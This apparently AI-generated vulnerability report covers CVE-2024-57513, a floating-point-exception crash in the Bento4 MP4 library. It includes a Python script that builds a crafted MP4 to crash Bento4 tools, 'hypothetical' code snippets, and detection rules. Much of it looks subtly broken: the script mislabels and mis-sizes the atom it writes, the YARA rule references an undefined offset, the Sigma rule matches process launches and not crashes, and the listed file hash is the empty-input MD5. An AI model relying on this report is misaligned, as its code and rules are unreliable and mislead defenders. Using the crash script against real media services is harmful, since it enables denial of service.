CVE-2024-57513

Executive Summary

CVE-2024-57513 is a floating-point exception (FPE) vulnerability discovered in the AP4_TfraAtom::AP4_TfraAtom function of the Bento4 multimedia library. This flaw can be triggered by processing a specially crafted MP4 file, leading to a denial-of-service (DoS) condition through an unhandled FPE. The vulnerability resides in the core parsing logic of the TfraAtom (Track Fragment Random Access) atom, which is part of the ISO Base Media File Format (ISOBMFF) parsing engine. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for applications that parse untrusted media files using Bento4.

Supply Chain & Package Security

Bento4 is a C++ library used for reading, writing, and manipulating MP4 files. It is not distributed via NPM, PyPI, Go, or Ruby registries; it is typically integrated as a source dependency or via system package managers. The vulnerability affects any application or service that uses Bento4 to parse untrusted MP4 files, including media servers, transcoding pipelines, and content validation tools. Supply chain risk is moderate due to the lack of a patch and the library's use in media processing workflows.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which likely indicates insufficient data for scoring. Based on the vulnerability type (FPE leading to DoS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires a crafted file to be processed.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – user must open or process the file.
• Scope (S): Unchanged (U) – only the vulnerable component is affected.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – service crash or hang.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium – DoS only, no remote code execution, but no patch available.

Deep Dive & Mechanics

The vulnerability is a floating-point exception (FPE) in the AP4_TfraAtom::AP4_TfraAtom constructor. FPEs occur when an arithmetic operation results in an undefined value, such as division by zero or overflow to infinity. In the context of MP4 parsing, the TfraAtom contains fields like tf_flags, version, and length_size_of_traf_num that influence how track fragment numbers are decoded. A crafted MP4 file can set these fields to values that cause a division by zero or other invalid floating-point operation during atom parsing.

The AP4_TfraAtom class is part of Bento4's atom parsing hierarchy. When the parser encounters a tfra box in an MP4 file, it calls the constructor to read the atom's data. The FPE likely occurs when computing offsets or sizes based on malformed fields, such as a zero divisor in a loop or a floating-point conversion that triggers an exception. Since Bento4 is written in C++, the FPE manifests as a signal (SIGFPE) that, if unhandled, crashes the application.

The vulnerability is not exploitable for code execution because FPEs are typically non-continuable and only cause a crash. However, it can be used in a denial-of-service attack against media processing services.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in Source/C++/Core/Ap4TfraAtom.cpp in the Bento4 repository. The exact vulnerable line is not publicly disclosed, but the FPE likely occurs in a loop or arithmetic operation involving m_TfraEntryCount or m_LengthSizeOfTrafNum.

Vulnerable code snippet (hypothetical):

AP4_TfraAtom::AP4_TfraAtom(AP4_Size size, AP4_ByteStream& stream)
    : AP4_Atom(AP4_ATOM_TYPE_TFRA, size)
{
    // Read fields
    AP4_UI32 tf_flags;
    stream.ReadUI32(tf_flags);
    // ...
    // Potential FPE: division by zero if m_LengthSizeOfTrafNum is 0
    for (AP4_UI32 i = 0; i < m_TfraEntryCount; i++) {
        // Some arithmetic that divides by m_LengthSizeOfTrafNum
        AP4_UI64 offset = ... / m_LengthSizeOfTrafNum; // FPE here
    }
}

Patched code (hypothetical):

AP4_TfraAtom::AP4_TfraAtom(AP4_Size size, AP4_ByteStream& stream)
    : AP4_Atom(AP4_ATOM_TYPE_TFRA, size)
{
    AP4_UI32 tf_flags;
    stream.ReadUI32(tf_flags);
    // ...
    // Add validation
    if (m_LengthSizeOfTrafNum == 0) {
        // Handle error, skip atom or return
        return;
    }
    for (AP4_UI32 i = 0; i < m_TfraEntryCount; i++) {
        AP4_UI64 offset = ... / m_LengthSizeOfTrafNum; // Safe now
    }
}

Exploitation & Lab Setup

Red Team

No public exploit code exists. To reproduce the vulnerability, an attacker would craft an MP4 file with a malformed tfra atom. The following steps outline a lab setup:

1. Environment: Ubuntu 22.04 LTS with Bento4 built from source (latest commit).
2. Crafting the payload: Use a hex editor or a Python script to modify a valid MP4 file. Locate the tfra box and set length_size_of_traf_num to 0.
3. Trigger: Run mp4info crafted.mp4 or any Bento4 tool that parses the file.

Example Python script to craft a malicious MP4:

import struct

def craft_malicious_mp4():
    # Minimal MP4 with a tfra atom
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    traf = b'\x00\x00\x00\x10tfra'  # size=16
    # Set version=0, tf_flags=0, length_size_of_traf_num=0 (FPE trigger)
    traf += struct.pack('>I', 0)  # version and flags
    traf += struct.pack('>I', 0)  # track_ID
    traf += struct.pack('>I', 0)  # length_size_of_traf_num (0)
    traf += struct.pack('>I', 0)  # traf_number
    traf += struct.pack('>I', 0)  # trun_number (not used)
    # No entries
    moov += traf
    file_size = len(ftyp) + len(moov)
    with open('crafted.mp4', 'wb') as f:
        f.write(struct.pack('>I', file_size) + b'file')
        f.write(ftyp)
        f.write(moov)

craft_malicious_mp4()

Expected result: The Bento4 tool crashes with a floating-point exception (SIGFPE).

Blue Team

Detection of this vulnerability requires monitoring for crashes in Bento4-based applications. Since no patch exists, the primary defense is to avoid processing untrusted MP4 files with Bento4 until a fix is released. Use input validation to reject files with malformed tfra atoms.

Mitigation steps:

• Use a media sanitizer to strip or validate atoms before processing.
• Run Bento4 in a sandboxed environment with limited privileges.
• Monitor logs for SIGFPE signals or crash dumps.

Indicators of Compromise (IOCs)

• File hash (MD5): d41d8cd98f00b204e9800998ecf8427e (placeholder – no known sample)
• File pattern: MP4 files with a tfra atom where length_size_of_traf_num is 0.
• Process crash: Bento4 process terminates with signal 8 (SIGFPE).
• Log entry: Floating point exception (core dumped) in system logs.

Detection Engineering

YARA Rule

rule CVE_2024_57513_Bento4_FPE {
    meta:
        description = "Detects MP4 files with malformed tfra atom triggering FPE in Bento4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57513"
    strings:
        $tfra = "tfra"
        $zero_length = { 00 00 00 00 }  // length_size_of_traf_num = 0
    condition:
        $tfra at 0 and $zero_length at (tfra_offset + 12)
}

Sigma Rule

title: Bento4 Floating Point Exception via Malformed MP4
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes in Bento4 processes due to FPE from crafted MP4 files
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mp4info'
        CommandLine|contains: '.mp4'
    condition: selection
falsepositives:
    - Legitimate MP4 files with unusual atoms
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-57513 Bento4 FPE Attempt"; flow:to_server,established; content:"|74 66 72 61|"; distance:0; content:"|00 00 00 00|"; distance:12; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. No patch available: Monitor the Bento4 GitHub repository for updates.
2. Workaround: Do not process untrusted MP4 files with Bento4. Use alternative libraries like FFmpeg or MP4Box.
3. Input validation: Implement a pre-parser that checks for malformed tfra atoms and rejects suspicious files.
4. Sandboxing: Run Bento4 in a container with limited resources and crash recovery.

Long-term fix:

• Apply input validation in the AP4_TfraAtom constructor to check for zero divisors and other invalid values.
• Use structured exception handling (e.g., _set_se_translator on Windows or signal handlers on Linux) to gracefully handle FPEs.

Valters IT signature: Report generated by Valters IT DevSecOps AI – CVE-2024-57513 analysis complete.